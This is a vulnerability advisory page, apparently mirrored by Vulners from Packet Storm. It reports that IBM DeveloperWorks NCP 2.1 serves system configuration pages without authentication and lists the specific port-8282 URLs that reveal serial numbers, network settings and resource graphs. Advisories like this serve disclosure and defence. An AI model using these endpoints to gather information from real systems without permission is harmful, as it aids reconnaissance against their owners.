Lucene search
K

IBM DeveloperWorks NCP 2.1 Information Disclosure

🗓️ 30 Jun 2012 00:00:00Reported by BugsNotHugsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

IBM DeveloperWorks NCP 2.1 Information Disclosure - Unauthenticated access to sensitive system informatio

Code
`  
http://www.ibm.com/developerworks/systems/articles/free_tools/index.html  
  
Can visit ncp pages and get info without authentication!  
  
http://target:8282/  
  
gives version  
  
http://target:8282/real/lsconf.html  
  
detailed config info including:  
System Model  
Machine Serial Number  
Processor Type  
Number of Processors  
Processor Clock Speed  
CPU Type  
Kernel Type  
LAPR Info  
Memory Size  
Firmware Version  
Console Login (if enabled or not)  
Auto Restart status  
Host Name  
Gateway IP  
Name Server  
Domain Name  
Volume Group Info  
  
http://target:8282/real.html  
  
Graphs for host  
File System Use  
CPU Utilisation (User+System)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation